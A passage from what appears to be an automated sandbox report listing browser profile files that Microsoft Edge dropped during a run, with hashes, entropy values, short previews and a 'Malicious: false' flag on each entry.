Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.170400905282369
Encrypted:	false
SSDEEP:	6:H7YVq2PFi23oH+Tcwt865IFUt8YvgZmw+YvIkwOFi23oH+Tcwt86+ULJ:bYVvdZYeb/WFUt8ug/+uI5wZYeb/+SJ
MD5:	A00CD5BAC24E46B8D9BB751AD253E6ED
SHA1:	2E0B8BF5AFC10162A8E32F65C700FF995EF019A7
SHA-256:	2B000DE38D5AB1372FE926238B32C60753EC735F994DDE3E6E55D0F3D750E54E
SHA-512:	5CAE4E83CA400B67EE24188DB3947F46AF3B45D5531D0898E4D4D7AFA27474875FDC1AA2265C03AEFAF27A870D00164A9F22E69CEF18C370D266C2B3029299B4
Malicious:	false
Preview:	2024/11/22-11:08:46.411 1bd0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/22-11:08:46.412 1bd0 Recovering log #3.2024/11/22-11:08:46.412 1bd0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.170400905282369
Encrypted:	false
SSDEEP:	6:H7YVq2PFi23oH+Tcwt865IFUt8YvgZmw+YvIkwOFi23oH+Tcwt86+ULJ:bYVvdZYeb/WFUt8ug/+uI5wZYeb/+SJ
MD5:	A00CD5BAC24E46B8D9BB751AD253E6ED
SHA1:	2E0B8BF5AFC10162A8E32F65C700FF995EF019A7
SHA-256:	2B000DE38D5AB1372FE926238B32C60753EC735F994DDE3E6E55D0F3D750E54E
SHA-512:	5CAE4E83CA400B67EE24188DB3947F46AF3B45D5531D0898E4D4D7AFA27474875FDC1AA2265C03AEFAF27A870D00164A9F22E69CEF18C370D266C2B3029299B4
Malicious:	false
Preview:	2024/11/22-11:08:46.411 1bd0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/22-11:08:46.412 1bd0 Recovering log #3.2024/11/22-11:08:46.412 1bd0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	320
Entropy (8bit):	5.209792257120109
Encrypted:	false
SSDEEP:	6:HnCSq2PFi23oH+Tcwt8NIFUt8YnT5Zmw+YTzkwOFi23oH+Tcwt8+eLJ:/vdZYebpFUt8W/+K5wZYebqJ
MD5:	C8D441F0317952C9C727DBEF16C8DB20
SHA1:	9CCACA07836FF17CDD923375B93D5CF9EE967609
SHA-256:	46084022CBCD222A7F6F63D501F193BA95FBD64221ED65C6CC51FCE8C846E629
SHA-512:	B8B3872203950C85134F1EAD7F0262341A343B22C2FE663B3CBAF6098C7BEDA2D7212AC48D6B69A673616DF00758F93B3EDDBBA90236FB2BB7FA3059B2285782
Malicious:	false
Preview:	2024/11/22-11:08:47.193 13d0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/22-11:08:47.196 13d0 Recovering log #3.2024/11/22-11:08:47.215 13d0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	320
Entropy (8bit):	5.209792257120109
Encrypted:	false
SSDEEP:	6:HnCSq2PFi23oH+Tcwt8NIFUt8YnT5Zmw+YTzkwOFi23oH+Tcwt8+eLJ:/vdZYebpFUt8W/+K5wZYebqJ
MD5:	C8D441F0317952C9C727DBEF16C8DB20
SHA1:	9CCACA07836FF17CDD923375B93D5CF9EE967609
SHA-256:	46084022CBCD222A7F6F63D501F193BA95FBD64221ED65C6CC51FCE8C846E629
SHA-512:	B8B3872203950C85134F1EAD7F0262341A343B22C2FE663B3CBAF6098C7BEDA2D7212AC48D6B69A673616DF00758F93B3EDDBBA90236FB2BB7FA3059B2285782
Malicious:	false
Preview:	2024/11/22-11:08:47.193 13d0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/22-11:08:47.196 13d0 Recovering log #3.2024/11/22-11:08:47.215 13d0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2182285738090153
Encrypted:	false
SSDEEP:	3:LZtFlljq7A/mhWJFuQ3yy7IOWUC6hWdweytllrE9SFcTp4AGbNCV9RUIegk:LC75fOsd0Xi99pEY+
MD5:	259C18EAB654C4396CD68D09BC88F1B4
SHA1:	878292057526C376B6E164C46BE3BF26D7014F39
SHA-256:	3BF01E519A3CB353825D38E05762E6054985D6CF42ED5943B4E6A8FD4CA5C0DA
SHA-512:	850EDA86A2552816CB72E79A9E7C352213CEA696DC570A56F4C8924254014321A8ACDB8923C931430C7FC4E9461DEF6ADAB9C3A3E68E5E131B63338D03FFAF0A
Malicious:	false
Preview:	............._.A...&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6480617605744383
Encrypted:	false
SSDEEP:	384:aj9P0CcAjlB773pLQP/KbtDQkQerWhCgam6ItRKToaAu:ad0KlB7KP/Ae2Wv9RKcC
MD5:	60C00B894E0E0890122CD2302020F5CA
SHA1:	513FA7C54C8ABAE1B5E21DDBAC499E848721D28C
SHA-256:	0F21360E898BB8A5DCC0F143DD3B515FC453AB471221CD95399E104D013FE6C0
SHA-512:	1AEAE6CCD66B192A7615E56B09BA5E1386665ABBFC8CC6FC26C1668ACFE41878C67473691EE0B5A24E71CF05F373D74E3A500A3F098F72238310BC53937F1FE1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	404
Entropy (8bit):	5.271263781340566
Encrypted:	false
SSDEEP:	12:dEvdZYeb8rcHEZrELFUt8I8/+I85wZYeb8rcHEZrEZSJ:dubYeb8nZrExg8ISmgYeb8nZrEZe
MD5:	C21E0FC032EBF925D6B83953BBBB6292
SHA1:	864475F6A6CAAA0342EB60609F8D9C218EE8B76C
SHA-256:	77F067F9A544421C99CC5F5425F8AD7D6C702B313BF66FA9E8E72158EEBC8CD0
SHA-512:	B6CC5E18687BAAE4B0E4DA22CDD9675DC9B4F84893742CF98DA22229C5AAFBF744419338CAEE8686237002BB277BF8EADA37E7263B0E8774175EA02235692F34
Malicious:	false
Preview:	2024/11/22-11:08:50.983 13d0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/22-11:08:50.984 13d0 Recovering log #3.2024/11/22-11:08:50.984 13d0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	404
Entropy (8bit):	5.271263781340566
Encrypted:	false
SSDEEP:	12:dEvdZYeb8rcHEZrELFUt8I8/+I85wZYeb8rcHEZrEZSJ:dubYeb8nZrExg8ISmgYeb8nZrEZe
MD5:	C21E0FC032EBF925D6B83953BBBB6292
SHA1:	864475F6A6CAAA0342EB60609F8D9C218EE8B76C
SHA-256:	77F067F9A544421C99CC5F5425F8AD7D6C702B313BF66FA9E8E72158EEBC8CD0
SHA-512:	B6CC5E18687BAAE4B0E4DA22CDD9675DC9B4F84893742CF98DA22229C5AAFBF744419338CAEE8686237002BB277BF8EADA37E7263B0E8774175EA02235692F34
Malicious:	false
Preview:	2024/11/22-11:08:50.983 13d0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/22-11:08:50.984 13d0 Recovering log #3.2024/11/22-11:08:50.984 13d0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1473
Entropy (8bit):	5.6746325050225765
Encrypted:	false
SSDEEP:	24:zZWCVlxx5sIK9XZ+WCLV03y1x4g0MyzW7UlHDkTN5zgFHHmi28/V:zZZbxxu9XZ9CLV03Sx48yzKZ+HH328t
MD5:	E2461D6916EFC7B91DC4F079040A46A8
SHA1:	8172A800E7933E9A49BB019DCFC020468846EE76
SHA-256:	DA25581BFB378D7EEC7B5069DBCDB27057861D75A43B1503CE12FE4782D58E75
SHA-512:	EC76662B3893C520E4F4950898CCDC628120ADAE948C314C19BD815693EA1D6A7F0829802AE58D6B9E3B5B3246F054649268A32FD24AD79D7A7FF8B532E47D1F
Malicious:	false
Preview:	G.?..................VERSION.1..META:https://ntp.msn.com..............!_https://ntp.msn.com..LastKnownPV..1732291741618.-_https://ntp.msn.com..LastVisuallyReadyMarker..1732291742714.._https://ntp.msn.com..MUID!.379C33D393BD6E761EBE26EC92DF6F66.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732291741724,"schedule":[-1,28,9,-1,-1,20,-1],"scheduleFixed":[-1,28,9,-1,-1,20,-1],"simpleSchedule":[22,18,52,26,36,35,24]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732291741579.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241121.408"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Fri Nov 22 2024 11:09:01 GMT-0500 (Eastern Standard

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.181823001715526
Encrypted:	false
SSDEEP:	6:HZ4lyq2PFi23oH+Tcwt8a2jMGIFUt8Ydj1Zmw+Yi1RkwOFi23oH+Tcwt8a2jMmLJ:XvdZYeb8EFUt8I1/+x5wZYeb8bJ
MD5:	39F633BEDE9BB1E3E71FE7469946D773
SHA1:	44F750429B39D79B5609E1D582EE5E43F7B7DA48
SHA-256:	251491F70ACE987DCB7E61361CC66A799FE09FBFFB4D13F83789E5821E27B3C4
SHA-512:	A49EB5191831FB5B534BD952B7D1157644922DEDA8EA38B47D94C349EEF461FE8335B85F5D4EEDE60B069287EA6A3B40DF2E77B962FE85A8222212569179C7A2
Malicious:	false
Preview:	2024/11/22-11:08:46.848 c14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/22-11:08:46.849 c14 Recovering log #3.2024/11/22-11:08:46.853 c14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.181823001715526
Encrypted:	false
SSDEEP:	6:HZ4lyq2PFi23oH+Tcwt8a2jMGIFUt8Ydj1Zmw+Yi1RkwOFi23oH+Tcwt8a2jMmLJ:XvdZYeb8EFUt8I1/+x5wZYeb8bJ
MD5:	39F633BEDE9BB1E3E71FE7469946D773
SHA1:	44F750429B39D79B5609E1D582EE5E43F7B7DA48
SHA-256:	251491F70ACE987DCB7E61361CC66A799FE09FBFFB4D13F83789E5821E27B3C4
SHA-512:	A49EB5191831FB5B534BD952B7D1157644922DEDA8EA38B47D94C349EEF461FE8335B85F5D4EEDE60B069287EA6A3B40DF2E77B962FE85A8222212569179C7A2
Malicious:	false
Preview:	2024/11/22-11:08:46.848 c14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/22-11:08:46.849 c14 Recovering log #3.2024/11/22-11:08:46.853 c14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\412d2b60-c3b3-4aba-80e9-87fb8fbd0b3d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	5.303611657748809
Encrypted:	false
SSDEEP:	48:YcCpfgCzs2tsSfcKsOleeIkBRsSwCgHmYhbg:F2fFJJkeIkBTwTbhs
MD5:	540D8926AE06EE5C53C828E7B3C741B0
SHA1:	BF55751F4BC35E397AD16C385BA37407AD776ED6
SHA-256:	4349D6E3E67A02078A98A0C9D490FE2F9C6707652B4DF747664231D239064AE0
SHA-512:	4D8FEC688D772C2778051D2F8838DC0E0FCD91265DD057365AB03EAD32FD5E81B16630A46B29ACDA01149E0264309FCB01F1A762ADCF4EA4C1BC8F645C225AD1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379357330304579","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379357335466337","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13376858938520134","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA="

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\53739503-4360-4f38-a9f9-90fcbd8ace46.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\5ef179f2-f163-49eb-a429-ddb2a223ca99.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.7694595072934614
Encrypted:	false
SSDEEP:	96:te+AufSORPUGjnsMPS/j+vrHXD7RPwIffRiRLAXckO0L/ZJV8Y:tTfSObsMPUkrHT7lRiRLAXcf0L/ZJVb
MD5:	78ED067CC830FB72BD1F0E3E1541DC40
SHA1:	EF9AAB38609DD7846178E67E95F0F92EEBEB1836
SHA-256:	A3BE2DEF99E023828C449D9EBF72EBC7431FF3C0310C3A67576193C63B568D98
SHA-512:	336E9956696EFE8D984B5B2432343746B4161A6129FE431D4362D0AF4D056DE4009A9BA186669F8C9107ACC3D7E4D0E7E59853FCA7EADE7CE70472BF913C4836
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	5.303611657748809
Encrypted:	false
SSDEEP:	48:YcCpfgCzs2tsSfcKsOleeIkBRsSwCgHmYhbg:F2fFJJkeIkBTwTbhs
MD5:	540D8926AE06EE5C53C828E7B3C741B0
SHA1:	BF55751F4BC35E397AD16C385BA37407AD776ED6
SHA-256:	4349D6E3E67A02078A98A0C9D490FE2F9C6707652B4DF747664231D239064AE0
SHA-512:	4D8FEC688D772C2778051D2F8838DC0E0FCD91265DD057365AB03EAD32FD5E81B16630A46B29ACDA01149E0264309FCB01F1A762ADCF4EA4C1BC8F645C225AD1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379357330304579","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379357335466337","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13376858938520134","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA="

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.279902474589214
Encrypted:	false
SSDEEP:	48:TFkIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBdx:JkIEumQv8m1ccnvS6Y/eiicn1a
MD5:	219819367636C2FFDFD37316178C7E24
SHA1:	E095D6CC2CE8FDA3F1CE95CD7A1491D79E0CAAD5
SHA-256:	A070E3D778AC90789BFB8218E64D014F984771E8FE073B7ABD7F445BB49F8F23
SHA-512:	3EFB31A2A37984A987D1494B6AAC0607D5ACAAB6A5876D26F0D6C6831FBD70CB6E031E0CCE7022B6FFC4C9631A4AF9DC15117460D8BE2E4473AE8F5506D3F9E3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF2a30c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF2bd6a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
